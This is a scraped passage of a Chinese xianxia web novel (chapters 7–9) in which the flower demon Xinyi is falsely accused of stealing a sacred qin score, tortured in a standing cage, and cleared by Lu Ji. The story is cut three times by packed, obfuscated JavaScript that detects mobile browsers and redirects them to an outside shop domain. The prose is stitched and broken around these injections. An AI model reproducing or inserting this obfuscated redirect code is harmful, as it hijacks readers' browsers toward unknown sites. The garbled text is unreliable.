“……是这种一整夜啊,谁叫你不说明白。”丁香讪讪地摸了摸鼻子。 “这有何可误会的?云山君那么讨厌我,他怎会、会和我……”辛夷不好意思说下去。 毕竟,陆寂那张脸实在太冷淡,实在很难让人联想到那种事。 “怎么不可能,神都有七情六欲,何况人。而且……”丁香故意神秘兮兮,“以我听来的经验,这种人不碰则已,一旦食髓知味,可是很要命的哦。” “不可胡言!”辛夷慌忙捂住她的嘴,“这还在别人殿里呢。” “你也太胆小了,说说而已。”丁香笑嘻嘻拉下她的手,“我听说双修还能涨修为呢,对了,陆寂为什么不直接和你双修?你们男才女貌,又年纪轻轻,双修个三五日你便能直接结丹了吧?” “双修是什么?竟能涨修为?” “咳……你过来。” 丁香对她招了招手,附在她耳边说了几句。 辛夷连忙捂住耳朵,耳尖红得快滴血:“云山君这样的人怎么可能会做这样的事?而且我也不愿,他又不是我真正的夫君。” “好好好,你不愿便算了。”丁香正经起来,“就算是正经修炼,这云山君也太不像话了,你如今只是个凡人,哪经得起这么熬啊!” “可能……他当仙君太久了,忘了凡人是要睡觉的吧?”辛夷揉了揉发烫的脸颊,“虽然累点,这一晚收获还是挺多的,我已经学会引气入体了,你看——” 她盘腿坐好,双手结印,口中念念有词。 不一会儿,周身便漾开一层淡淡的灵韵,丝丝缕缕,如薄雾般缭绕,衬得原本苍白的脸竟有了几分仙气。 丁香啧啧称奇:“一夜就能引气入体?好生厉害!” 提起这个,辛夷却又垮下了脸:“我今早也是这么问云山君的,可他竟然说我是他指点过的人里最差的一个……” “你听他的话做什么。”丁香不以为然,“他连徒弟都没收过,这世上能有几个人得他亲自指点?但凡被他指点过的,肯定都是百里挑一的天才。就算你是这些人里最差的,放到全天下,也是顶尖的了。” “对呀,我怎么没想到……”辛夷一下子又精神了,“可惜陆寂不收徒,我本来还想让你也跟着学的……” “我是妖身,本来也修不了仙。再说了,妖凭什么就低仙一等?我瞧着做妖逍遥自在,没什么不好的。” 丁香悠然自得,让辛夷忽然想起从前的自己。 浮玉山荒凉偏僻,住在那里的小妖们没什么天敌,成日懒懒散散,对修炼并不怎么上心。 她自己也是待得无聊了才偷溜出去,结果在若水河畔遇上了那个“陆寂”,就此惹上一段纠缠不清的缘分。 如今她后悔了,然而从前觉得极为无聊的日子却很难再回去了。 —— 天音宗在归途遭妖族截杀,忘忧琴被夺的消息陆续传遍了各大宗门。 清虚子前几日发往各派的信,也陆续收到了回音。 持有圣器的五大宗门中,以医道著称的回春谷和擅长占卜的玄机阁态度谨慎,回信会严加防范。 而以炼器闻名的万相宗,却对此事不甚在意。 万相宗门人众多,镇派之宝名为“须弥鼎”。 恰逢立派万年大典,按惯例,须弥鼎必须当众示人,一来是为了彰显万相宗的气派,二来在这须弥鼎中炼造百年的绝世名剑即将炼成,万相宗早已广发请帖,定于七月初七开鼎取剑。 因此,掌门冲虚真人执意要在大典上展出宝鼎。 清虚子收到信后当即便招了座下三个弟子前来商议。 “妖族如今已经得到了忘忧琴,定不会轻易放过须弥鼎,为师会再修书一封尽力劝阻,但冲虚向来好面子,怕是不易劝动。若他仍不改主意,届时你们便借参礼之名,暗中护住须弥鼎。” 弟子们一一称是。 “还有一事。”清虚子又道,“忘忧琴的琴谱虽未被抢走,但英招与朱厌绝非等闲之辈,恐怕很快便会察觉,再度来夺。所以这些日子,妙音仙子暂居的宝相楼也需加强守卫,你们……” “此事不如交给弟子来办?”听到妙音仙子之名,青阳君主动请缨。 清虚子本想交给陆寂,但青阳毕竟是他的第一个徒弟,既已开口,沉吟片刻,他还是应允了。 “也好。琴谱事关重大,绝不能落入妖族之手。” “弟子定当竭尽全力,不负师命!” 青阳君领了差事,眼角眉梢皆透着喜意。 青阳的心思昭然若揭。 出了玉衡殿,瑶光君摇着羽扇瞥向身旁的陆寂:“那位妙音仙子当真是极受欢迎,自你成婚后,大师兄对她更是极为殷勤,听闻今日他还送去了一把上好的焦尾琴,若你对她也有心,可得抓紧些,莫被别人抢了先机。” “同我有何关系?” “你是真不知还是装不知?仙门之中不都传你二人是金童玉女,天作之合么?” “你也说了是传言,并不可信。” “那前几日去救天音宗众人时,你为何替妙音仙子挡刀?” “忘忧琴的琴谱在她手中。我护的是琴谱,并非她。” “原来如此……”瑶光君下巴抵着扇子,微微斜着眼,一副若有所思的模样,“当初那夺舍之人对小花妖情深似海,我还以为你亲身经历一遭,总会有些改变。” “无聊之人,无用之事,有何值得回忆。” 陆寂丢下轻飘飘的一句,仿佛那段被夺舍的日子于他而言只是一场不愿再提起的麻烦。 —— 这两日,辛夷从都匀小仙那儿听说陆寂近来为妖族抢夺圣器之事正忙碌不休,是以对这三日一次的教导又格外珍惜了几分。 埋头苦修了两日,直到第三日,在丁香的劝说下她才稍微歇歇。 丁香自打来到无量宗后还没出过度厄峰,辛夷知道她爱热闹,成日憋在殿里实在闷得慌,便趁傍晚带她出去走走。 无量宗坐落于中州连绵群山之间,主峰翠微峰是九州中除昆仑外最高的山峰。 山顶常年覆着冰雪,山腰却绿意盎然,柏木森森,至于山脚则是春花烂漫,莺啼燕语。 一山之中四季并存,更有闲云悠悠,仙鹤翩翩。 丁香纵然不喜欢仙门的做派,面对眼前的美景却着实说不出违心的话来。 “难怪仙人居住的地方被叫做仙境,这些洞天福地确实比浮玉山好看多了。” 两人在度厄峰上四处转悠,欣赏了许久,忽然间,辛夷瞧见翠微峰山门处有一株极其粗壮的刺槐,忽然想起老槐树精经常念叨他有一位刺槐老友,生得枝干盘曲,威风凛凛,好似盘旋欲飞的龙。 那时,她们都笑老槐树精吹牛,一棵槐树怎么可能长得像龙? 可眼前这株,竟真与描述分毫不差。 老槐树精常念叨这位老友,说他年岁已高,不知是否还在世。既然见到了,总该替他去看一眼。 两人对视一眼,想法一致,丁香抬脚就要过去,辛夷却拉着她的手有些迟疑:“无量宗的长老们本就不喜我,何况,我与云山君如今也已无瓜葛,贸然过去,是否不太妥当?” “辛夷,才几个月不见,你怎么变得这么放不开手脚甚至小心翼翼了?”丁香语气里透着失望,“你从前可不是这样的,你可是敢跳到老槐树精身上揪他的叶子呢!” “有吗……”辛夷声音低下去。 好像真是。 来无量宗的这些日子,为了不让陆寂为难,她性情的确改变了许多。 不是说爱是天底下最美好的感情,是互相成全么?为什么她感受到的痛苦却比快乐多很多呢?甚至连自己都变得不像自己。 她不想变成这样,更不想亲近的人难过。 何况那刺槐就在山门处,她不进去,只是远远看一眼故人,应当无妨吧? 辛夷于是拉起丁香的手:“你说得对,我们走。” 陆寂被夺舍之事并未外传,因此在旁人眼中,他们的婚事依然有效。 于是辛夷以云山君道侣的身份毫无阻拦地进入了翠微峰。 她也极有分寸,只停在山门之外,并不踏进一步,远远望着那株刺槐。 仔细看去,那树身上确有一丝淡淡的近乎散尽的妖气—— 应当就是老槐树精口中的故友了。 可惜,他已经死了。 枝叶不再随风舒展,树干也已经干瘪皲裂,看着苍翠,其实只剩一具空洞的躯壳。 辛夷心里发酸:“老槐树精要是知道他的朋友已经不在了,定要哭得叶子落上一地吧……” 丁香也忍不住担心:“老槐树精年纪也大了,会不会哪天也像这刺槐精一样……” “他那么能说会道,拄着拐杖追着我们打时可有劲儿了,他怎么会轻易死呢!”辛夷连连摇头,“不会的。” “也是。”丁香挠挠头,又疑惑,“可这刺槐精既然死了,为何尸身会被摆在山门?仙门不是最讨厌妖的吗?” 辛夷也觉得奇怪,便上前询问守门仙使。 “您说的是这妖树?”仙使态度恭敬,“这是青阳君在山中偶遇时斩杀的。因这刺槐原身形态奇特,便将他的尸身命人移来,摆在山门当个景致。” “为何要杀它?”辛夷忍不住追问。 仙使忽地想起这位的出身,忙低下头:“这小仙便不知了,许是犯下了什么罪孽吧。” “怎么会呢?”辛夷喃喃。 老槐树精常笑话这位老友胆子太小,常年躲在深山,连偷吃槐蜜的雀鸟都不敢赶,怎会犯下罪过? 即便真有罪,处死便罢了,又为什么要把他的尸首当成摆件一样放在山门? 经过数万年,他们妖族早已不是洪荒之时时代茹毛饮血的怪物了。 像他们这些花妖树精平时也就渴了就喝喝露水,饿了就晒晒太阳,从未伤过任何生灵,甚至不及人族杀猪宰羊来得残忍。 可青阳君是十二峰主之一,更是陆寂的师兄,她没有立场质问。 她退了一步,轻声问:“那仙使可知,他究竟犯了何罪?” 对方只是摇头:“仙君们的事情,我们这些仙使如何得知。” “罢了。”辛夷心灰意冷,“他是我一位故人的旧友,既然死了,能否让我把它的尸身带回去入土为安,我们花草树木生于大地,死了也是要回归大地的。” “这……”小仙使一脸为难,“这刺槐模样奇巧,难得一见,又活了千年,据说是当年青阳君送给掌门的八百岁寿诞贺礼,恕小仙不能做主。” “寿礼?”辛夷仿佛明白了什么。 刺槐精那么胆小,见人就躲,怎会犯下罪过? 恐怕是这青阳君见他生得奇特,随意寻了个借口打死带回来当作贺礼的。 她心中顿时无限愤懑,丁香更是直接吵嚷起来:“你们仙门也太过分了!口口声声说他犯了罪,到底什么罪,你们倒说清楚啊!” 这声音引来了翠微峰上许多道目光。 仙使慌忙躬身:“君后恕罪,小仙实在不知啊,您若是真想知道,不妨去问青阳君……” 辛夷知道自己处境尴尬,不宜再生事端。 但刺槐精被这么对待实在令人难以容忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不用不用!”楼心月摆摆手,“师兄虽命人打了我,但打完便送来了药,我并无大碍,只是有点疼。” 越清音遂亲手为她斟茶,浅浅一笑:“看来,云山君心里还是记挂你的。” 楼心月自然知道陆寂对她的好。 陆寂来的那一年正是她娘病故的时候,那时,她才丁点大。 她爹看重陆寂,教导他的时间比和她待在一起多得多。 她一开始心存嫉妒,暗中给陆寂使了不少绊子。 然而陆寂明知这一切是她做的,却并不怪罪她,甚至……有时会有一种可怜的目光看她。 虽不知为何,但日子久了,她接受了现实,也发觉了陆寂的好处,便将他当兄长看待。 陆寂性子虽然冷了些,但待她算是十分亲近的了。 越是这样,她就越不能接受陆寂为了一个小花妖而罚她。 她埋怨道:“他对我这点好,哪比得上对那小妖的万分之一?我拿了药本想服个软就此算了,可你猜,我今早在度厄峰看见了什么——” 她面颊微红,咬着唇好似有些羞愤:“师兄、师兄一大早竟然从那小妖的寝殿出来!连衣裳都是昨日的,肯定待了一整夜!不是说只是假道侣的么?怎会……这般?那小妖定是使了什么魅术蛊惑他!” 越清音端茶的手腕忽然一颤,茶水险些洒出。 “姐姐没事吧?”楼心月顿觉失言,忙找补道,“或许不是一夜,也可能是我看错了,师兄一向厌恶妖族,你是知道的……” “他的事,我何时有权置喙了?厌恶谁或是欢喜谁更是同我无关。”越清音语气淡淡。 楼心月顿觉气氛古怪,再也坐不下去,赶紧寻了个借口:“姐姐,我课业尚未完成,便先走了,改日再来找你。” 越清音静静望着杯中逐渐消散的热气,微笑着应了一声:“山上有雨,小心地滑。” 直到到了每日替师父换药的时间,师妹叩门,她方才回神:“……好,我马上便去。” 忘忧琴的琴谱由她保管,每回出门前,她总要察看一番。 今日尽管思绪紊乱,她还是照例打开八宝匣。 只是当打开匣子后,她呼吸一滞,脑中一片空白。 停顿片刻,她处变不惊地出门,并对门前的师妹指了指八宝架上的一柄古琴:“这是青阳君上午送来的吧?你替我回一份礼,就选那支寒玉笛。” 那女弟子不解:“师姐,您不是一向不喜青阳君吗?为何回这般贵重的礼?” 越清音袖中的手微微颤抖,语气却依旧温和得体:“咱们毕竟是来做客的,不可失礼。” —— 仙居殿内 辛夷坐在窗边,双手托腮,发愁该如何向陆寂开口提刺槐精的事。 陆寂每隔三日他才会来仙居殿教她一次,平日里,她连他住在哪儿都不知道。 还是问了都匀小仙,她才知道陆寂住在度厄峰最高处的寒山居。 这名字,一听就很冷,她们辛夷花最怕冷了。 要不,等今晚他来指点她修炼时再说? 可现在的陆寂,不知为什么,似乎对妖族偏见极深,未必会帮她。 愁眉不展之际,突然,度厄峰的仙使来报,说青阳君忽然带人上门。 难道是白日里刺槐精的事情被他知晓了? 不至于吧,她又没真做什么。 再说了,即便上门,也当是她找青阳君质询,为何他会亲自上门? 思绪纷乱,辛夷虽不明白,理理衣裳,还是出殿相迎。 青阳君却并非为了刺槐精之事而来。 进门后,他面色森冷,大跨一步上前猛地攥住她手腕:“说!琴谱是不是你偷的?藏在何处?” “琴谱?什么琴谱?”辛夷一头雾水。 青阳君道:“还装,忘忧琴的琴谱,极为重要的宝物!偏偏在你去过翠微峰后便丢了,不是你偷的还有谁?” 忘忧琴是什么,琴谱又是什么? 她连听都没听过。 怎么……就成了她偷的? 8. 缘起性空(八) 听到动静,丁香迅速冲了出来。 “你们仙君就能空口白牙污蔑人吗?证据都没有,凭什么定罪!” “哼,你就是那个跟她一起去翠微峰的小妖吧?”青阳君眼风一扫,“一并拿下,带到玉衡殿去,师尊要亲自审问!” “是!”身后的弟子们立即上前将辛夷和丁香压住。 “凭什么?” “你们太过分了!” 两人奋力抵抗,然而,这无量宗十二峰也不是浪得虚名,座下的弟子们无不修行了百年,又岂是两个小小花妖能匹敌的? 于是二人还是被用捆妖锁捆着一路押到翠微峰的主殿。 —— 玉衡殿内,气氛凝重。 忘忧琴乃上古圣器,此事非同小可,掌门清虚子也被惊动,亲自坐镇。 天音宗身为苦主自然也要在场,云笈掌门身受重伤,尚且在昏迷之中,便由她最器重的弟子越清音代为列席。 这样大的事,十二峰主也被召集,只有云山君陆寂因外出不在。 众人刚落座,青阳君便押着辛夷与丁香踏入殿中。 捆妖锁捆得严严实实,两人几乎是被半推半拖着进来。 事发后,清虚子便将陆寂被夺舍的隐情透露给了在场诸峰主。 因此,众人看到这位云山君的君后被捆住时眼中并无惊讶。 只有瑶光君温声劝阻:“师兄,事情尚未查明,何必动用捆妖锁?不如先解开,有什么误会好好说便是。!” “误会?妇人之仁!”青阳君冷哼一声,“这两个小妖甚是狡猾,若是不捆起来,万一她们伤了师尊,又或是设法逃走该如何是好?” “可——” “好了瑶光,青阳也是谨慎起见。”清虚子淡淡打断。 “……是。”瑶光君只得退下,同情地瞧了辛夷一眼。 虽然改变不了什么,但有人为她说话,辛夷还是很感激的,只是她如今的身份公然道谢恐会连累瑶光君,于是只用眼神默默道谢。 瑶光君心里更不是滋味了。 这样一个知恩图报又心地善良的小妖怎么可能去偷忘忧琴谱? 定是弄错了。 清虚子神色凝重,缓缓开口:“我无量宗门规森严,弟子向来恪守清规。可自你这小花妖上山,祸事便接连不断,如今连忘忧琴琴谱也丢了!此乃天音宗至宝,事关重大。你如实交代,究竟偷,还是没偷?” “我没偷!”辛夷背脊挺得笔直,“青阳君拿我时我便说过,我只是一个小妖,甚至不知忘忧琴为何物,更何况偷琴谱?再说,为了陆寂,我早已自剖妖丹,叛出妖族,那些妖族杀我还来不及,我又怎会自己找上门去?” “妖最是虚伪,焉知你所做的这一切不是一场局?”青阳君咄咄逼人,“又或者,那夺舍之人离开后,你便后悔了,想要回去,所以才暗中偷了这忘忧琴谱献给妖族戴罪立功!” “你胡说,我没有!” “大胆!青阳君乃一峰之主,岂容你不敬?”另一个峰主出言训斥,“这里是仙门,妖族本就不该踏足,我看青阳君说的有理,天下岂会有这等巧事?” 座上众人窃窃私语起来,似乎觉得此言有理。 连清虚子也叹了口气:“听闻你为改换灵根受尽苦楚,若是熬不住,大可直言。我无量宗堂堂天下第一宗,难道找不出别的法子?你老实交代,是否是为了重回妖族才行此下策?” 辛夷斩钉截铁:“没有。” 丁香早已按捺不住,破口大骂:“你们这帮伪君子,先前便污蔑辛夷出身妖族,图谋不轨,逼得她挖出妖丹来自证清白,这回又污蔑她偷东西,想要害她的命,还自称什么仙人,我看是恶人还差不多!” “放肆!” “无量宗万年清誉,岂容你一个妖族污蔑!” 殿内顿时斥责四起。 辛夷深知这会儿不是意气用事的时候,虽然委屈,还是代丁香道歉。 “丁香不知事情原委,还请诸位仙君莫要怪罪。但我们当真未曾偷盗任何东西,今日去翠微峰,也只到了山门处,请诸位明察!” 青阳君步步紧逼:“你一个妖族,若无异心,为何突然跑到翠微峰?偏偏,在你去过后,这琴谱便丢了,如此巧合,不是你做的还有谁?” 辛夷简直百口莫辩,只能尽量保持冷静:“我是为寻一株刺槐精才去山门的,那是我在浮玉山时听一位长辈提过的故友。它被安置在山门处,我们只在门外看了片刻,连山门都未踏入,何谈偷盗?” “刺槐精?”青阳君有些印象,“它早已死了,你们去看一具尸体做什么?怕是借口吧!” 丁香本就为刺槐精之死愤懑,此刻再也忍不住:“你还敢提!守门仙使说了,它是被你打死带回来的。可它胆子那么小,能犯什么大罪?定是你见它生得奇特,杀了它来做贺礼!” 这话正中要害。 “胡言乱语!”青阳君恼羞成怒,却矢口否认,“分明是这刺槐精祸乱人间,本君这才为民除害。你们不光偷盗,还满口胡言,当真是妖性难改,诡计多端,我看,不用刑罚她们绝不会承认。师尊,要不请出断魂鞭吧,几鞭下去,她们定会说实话!” 这断魂鞭乃是万相宗用须弥鼎炼出的法宝,布满倒刺,打在人身上至多不过皮开肉绽,但打在仙或妖身上,除了皮肉之苦,更会鞭笞神魂。 修为不高者,五鞭子下去便会魂飞魄散。 此时陆寂还没回来,瑶光君心急如焚,连忙劝阻:“师尊,万万不可!这小花妖虽然出身妖族,但这些日子来安分守己,为了改换灵根,物归原主,更是生生熬了四日洗髓丹之痛,您不是也亲自看过么?如今好不容易才引气入体,这断魂鞭抽下去,她即便不死,根基也会尽毁。师弟的修为恢复便又会遥遥无期了!” 这番话,精准戳中了清虚子最在意之处。 他并不在意一个小妖的生死,但陆寂是他一手培养成材的,也是飞升成神,光耀无量宗的最大寄托。 他绝不能容忍陆寂出事。 沉吟片刻,清虚子终究还是阻止了青阳君:“瑶光所言有理,你负责看护琴谱,是职责所在,但身为师兄,做事当周全,也该考虑师弟。” “是。”青阳君忍气应下。 但他此番针对辛夷,本就是迁怒,眼神一瞥,望向越清音,又道:“此事若只是我无量宗内部之事倒还好说,但这琴谱乃是天音宗至宝,忘忧琴已被夺,若是琴谱再落入妖族手中,只怕要酿出大祸,届时,我们如何向天音宗交代?又如何向天下苍生交代?” 一番话,将清虚子架在了两难之地。 越清音还是一贯的温柔娴静,俯身一拜:“掌门不必忧虑,此番我天音宗遭此大劫多亏无量宗出手相救,这份恩情我等铭记在心,至于此事,无论结果如何,我天音宗都不会有任何异议。” 这话说得落落大方,但细品,又字字委屈。 清虚子这等人物岂会听不出弦外之音?他素来重声名,当即承诺:“妙音仙子放心,无量宗赏罚分明。若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955396|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此事真与这小妖有关,必当严惩,给天音宗一个交代。只是这花妖性情倔强,尚需细查。” “多谢掌门。”越清音深深一拜。 清虚子目光扫过殿下二人,下令道:“且将这二妖压到思过崖下,处立枷之刑,何时肯交代,再何时将她们放出来。” “遵命。”青阳君立即示意弟子动手。 瑶光君眉头深深一蹙,这立枷之刑虽没有断魂鞭那般要人命,但如慢刀子割肉一般,叫人求死不得。 这小花妖即便不死也要受不少苦头了。 不行,他得再催一催陆寂。 从玉衡殿出来之后,他便赶紧幻化出一只灰鸽十万火急给陆寂传信。 —— 翠微峰底,思过崖下,有座黑暗幽深的地牢是专门惩罚犯错弟子的地方。 至于这立枷,又名站笼,名字听起来寻常,实际极为残酷—— 用一个铁制的笼子将人关起来,然后在顶部开一圆孔,恰好卡住人的脖颈。 犯错之人被强迫站立其中,脚尖只能刚刚触地。 一旦长时间站不住或者站不稳,脚跟着地,脖子便会立即被圆孔勒紧。 虽不至于死,但会短暂窒息。 寻常人自然无法保持长时间的脚尖站立,因此几乎每隔一段时间便要窒息一次。 如此周而复始,直至招供或崩溃。 丁香一开始看到这笼子还不觉得稀奇,一个时辰后,脖颈便被勒得青紫,痛苦不堪,双手死死抓着铁笼借力。 “这些仙门的人……折磨人的法子真是歹毒,还不如干脆给我一刀呢!” “都怪我连累了你。”辛夷比她要能忍些,但也被折磨得不轻。 “和你有什么关系?我不是怕连累,我是心疼你。”丁香咬牙切齿,“这陆寂也真是的,再怎么说你也是名义上的道侣,出了这么大的事,他竟连面也不露!” 辛夷这些日子有了不少长进,隐约看出这仙门之内暗流涌动。 “陆寂的那个大师兄青阳君似乎一直在针对他,何况,他是一峰之主,应当也很忙吧……” “原来你是被迁怒的,那他更该来才对。”丁香后槽牙险些咬碎,“依我看,若是我们能出去就干脆偷偷溜走吧,反正这无量宗没一个好东西……啊!” 话还没说完,丁香脖子忽然被勒住。 辛夷刚想安慰她,自己也被勒得面色红涨,拼命踮起刺痛的脚尖才勉强喘过一口气。 洞中不见天日,只有入口透出一缕微弱的光,就这么混混沌沌,一轮又复一轮地窒息,辛夷很快伤痕累累,脖颈瘀紫,嘴唇干裂。 丁香一开始还有力气大骂,后来声音渐渐弱下去,连骂也骂不动了。 两个人求生不得,求死不能。 不知过了多久,洞口忽然被打开,日光乍亮,刺得辛夷双目酸痛。 一个人仿佛走了进来,脚步声不疾不徐。 大约又是来拷问她的人。 一批又一批,无穷无尽。 辛夷疲惫不堪,也厌倦至极,连眼皮都没力气掀起,只是重复唯一的一句:“不必问了,我没偷……再问多少次也是一样。” 那人却沉默了。 许久,他才缓缓开口:“……是我。” 辛夷一抬头,捆住她的铁笼应声炸开。 双脚久违地踩在地面的那一刻,她看见了陆寂挺拔的身影。 和当初在伏魔洞中那个救她的身影严丝合缝地重叠在一起,仿佛从未离去。 9.缘起性空(九) 目不转睛地看了许久,辛夷忽然又自嘲。 本就是同一副躯壳,像也是应当的。 不同的是,当年那个陆寂在吓退妖魔后,会第一时间朝她奔来,温柔地查看她有没有受伤。 但眼前这个,分明看见她脖颈有伤,甚至没有关心一句。 辛夷并不怨,他既然不是爱她的那个人,能来她便足够感激了。 与她不同,丁香嘴尖舌头快:“你还知道来?我还以为仙君早忘了自己内丹还在别人身上呢!” “不过一日夜而已。” 许是见两人模样狼狈,陆寂难得解释了一句。 辛夷望着外面的天色有些难以置信:“才一个日夜么,我还以为已经过去三五日了……” 这时,瑶光君也赶到了。 “归藏剑不愧是圣器,我这清风扇拼了老命也追不上。怎么样,人没大碍吧?” 话音刚落,瞧见两人的脖颈,他倒吸一口气:“我倒是疏忽了,以为一日夜应当没大碍的。幸好都是皮外伤,我有秘制的玉容膏,抹上两日便好,保管不留痕。” 瑶光君最懂姑娘家的心思,果然,丁香听到“不留疤”三个字,脸色终于缓和一些:“我瞧着这满山仙君里头,就你还算有点人情味!” 瑶光君哈哈大笑:“你这小妖说话倒是中听!不过,却也有失偏颇。云山君这一日夜也没闲着,不眠不休四处搜寻证据,就是为了替你们洗刷冤屈。” “他?”丁香撇嘴,“不可能吧。” “怎么不可能?”瑶光君摇了摇手中的羽扇,“接下来你们只管歇着,不必操心了。” 说罢,他招来一只仙鹤。 这般动静,守卫弟子再不能装看不见,急忙上前:“瑶光君,这两人重罪在身,案情未明便带走,恐怕不合规矩……” 瑶光君一脸无辜:“是云山君让我做的,若是不服,你们去问他。” 两名守卫一回头便瞥见云山君的冷脸,哪里还敢上前。 “这可真是神仙打架,小鬼遭殃了……” 人是青阳君押来的,却是云山君放的,还有一个看热闹不嫌事大的瑶光君,他们区区两个守门弟子怎么敢拦? 对视一眼,两人立即前往青阳峰,将事情原原本本禀报。 —— 青阳君将此事上报后,清虚子勃然大怒,当即命人前往度厄峰传唤。 不料派去的人还未动身,陆寂已带着人踏入大殿。 清虚子素来最看重陆寂,也最不容他行差踏错。 这小花妖偷盗之事的确存疑,他暗中另派了人查。 之所以将人收押并施刑,一则是暂时稳住天音宗,二则是敲打这小花妖,莫要因为能够留在无量宗便生出不该有的心思来。 他望向陆寂,语调沉肃:“青阳称你擅闯地牢,私自带走二妖,可有此事?” 陆寂一袭玄衣,宽肩窄腰,气势逼人。 “是弟子所为。” “你为何要这般?为师往日是如何教导你的?” “师尊息怒。”陆寂神色从容,“无罪之人,自然不必待在地牢。她二人每多待一刻,真凶便多逍遥一刻。” “哦?此话怎讲?”十二峰主之一的丹阳真人一向颇为欣赏陆寂。 “师叔慧眼。”陆寂略一颔首,“前日妖皇麾下四大护法之一的朱厌现身黑水河畔,本君前往诛妖,未见朱厌,却发现河中有一妖蛟作乱,便顺手斩杀,救下了那落水之人。而这落水之人,恰是我无量宗弟子。” 朱厌乃三千年大妖,陆寂如今只剩半身修为,便敢单刀赴会。 这妖蛟也非凡物,有半龙之称,他却说得轻巧,顺手便斩杀了,着实令人震惊。 此事虽未明了,诸位峰主神情却收敛许多。 只有青阳君冷笑:“此事和琴谱被盗有何关联?无量宗是讲规矩的地方,师弟休要东拉西扯,混淆视听!” “师兄误会了,本君正是在说这琴谱之事,因为本君救下的这弟子,便出身青阳峰。” “那又如何?”青阳君微微挑眉,“无量宗的弟子结丹之后都要下山历练,这弟子多半是修为不精,落入蛟口了。” “确实不稀奇。只是救人时,本君察觉此人手臂冰凉,有非人之兆,便探查了一番,谁知,竟把他披在身上的皮撕了下来——” “莫非……是画皮妖?”丹阳真人猜道。 “不错。”陆寂道,“的确是只骷髅画皮妖,所谓的血肉不过是息壤捏造的,故而触手生凉。而他身披的这张皮便是从青阳峰这个弟子身上扒来的。如此费尽心机潜入我宗,本君自然要将他擒回审问。” 听到座下的弟子被一个画皮妖剥了皮还扮作了人样,青阳君微微愠怒:“说一千道一万,此事同琴谱被盗并无半分关联,这画皮妖本君自会处置,师弟何必顾左右而言他?” “师兄莫急。因为这画皮妖——才是盗取琴谱的真凶。” 青阳君脸上挂不住:“证据何在?师弟缘何认为这画皮妖就是真凶,难道是为了替那小花妖顶罪?” “自然不是。”陆寂语调从容,“起初本君确实不知此妖目的,直至途中接到传讯,说琴谱被盗,当下便有了答案。审问起那画皮妖来,他也供认不讳,说是朱厌得了忘忧琴后很快便发现无谱,于是命他伪装潜入,暗中盗取。” “可惜,本君去时,朱厌已拿到琴谱离开,而这画皮妖则被随手投喂了妖蛟。如今琴谱既然被盗,本君倒想问问青阳君,这画皮妖是如何瞒过你,又是如何以青阳峰弟子的身份进入翠微峰,潜入宝相楼偷盗琴谱的?” 他目光锐利,直指核心,青阳君突然想起自己昨日为讨好越清音,曾派座下一弟子送去焦尾琴。 而那弟子事后便称下山历练,匆匆离去。 难道正是自己一时疏忽,酿成大祸? 他后背冷汗直冒,久久未语。 陆寂一眼看穿:“师兄不便说?无妨。那画皮妖虽曾趁本君查阅灵信时逃脱,但在一个日夜后还是被我擒住。既然师兄不便言明,那就让它自己说吧。” 他广袖一挥,一个被五花大绑的画皮妖便被丢了出来,“砰”地砸在青阳君脚边—— 那画皮妖褪去人皮后,只剩一具森白骨架,骷髅头叩得嘎吱作响:“诸位仙君明鉴,小妖、小妖也是被逼无奈啊!是朱厌强行逼迫,求仙君饶命,饶小妖一命!” 殿内一片死寂,诸位峰主神色各异。 青阳君自然不肯认,语气轻蔑:“妖言惑众!邪祟的话岂能取信?” “你的话便句句是真?”那画皮妖忽然阴恻恻笑了起来,“仙君口口声声说我妖言惑众,可我能顺利盗得琴谱,还得多谢您啊!若不是您想讨好美人,命我以弟子身份去给妙音仙子送琴,我又怎能轻易踏入翠微峰,遑论潜入宝相楼?” 听得此言,在场一片哗然,原来这琴谱被盗竟然是青阳君因为私情酿成的! “血口喷人!” “哼,你命我送去的是你重金买来的焦尾琴,装琴的匣子我还记得,是个墨玉长匣,是真是假,一查妙音仙子房中便知!” 证据愈发确凿,众人的目光时不时又瞥向妙音仙子。 若真如此,琴谱被盗不仅因青阳君失察,也与这位妙音仙子的疏忽脱不开干系。 而且,曾有外人进入她的居所之事这样要紧的事,她为何只字未提? 越清琴当即便上前一拜:“不必查了,青阳君的确赠与我一把琴,说是怜我天音宗忘忧琴被盗,特以琴赠之,以解哀愁。近日师父重伤,我日夜照料,一时疏忽,确实未曾想到这送琴之人会是妖族。此事全是我一人之过,罪责也全在我,请掌门降罚!” 她一口气将旁人想说的话全堵了回去,倒叫人无从插嘴,又搬出照料师父的一片孝心,更是叫人连指责都不忍开口。 此事本是天音宗宝物失窃,只因发生在无量宗地界,清虚子才不得不公开审理。两派虽同气连枝,终究有别,他自然不好越俎代庖,重罚他人门下弟子。 沉吟片刻,清虚子只道:“师侄莫要过于自责。妖性狡诈,诡计多端,你年纪尚轻,未能识破也情有可原。” 话锋一转,他望向青阳君,疾言厉色:“倒是我这徒儿,识人不明,行事鲁莽,即日起去戒律堂领三百雷鞭,以儆效尤!” 青阳君向来最重颜面,这还是头一回当众受此重罚,尤其还在越清音面前。 忍了又忍,他才低头道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963076|193112||http|test|mini|href|location''.split(''|''),0,{})); () { 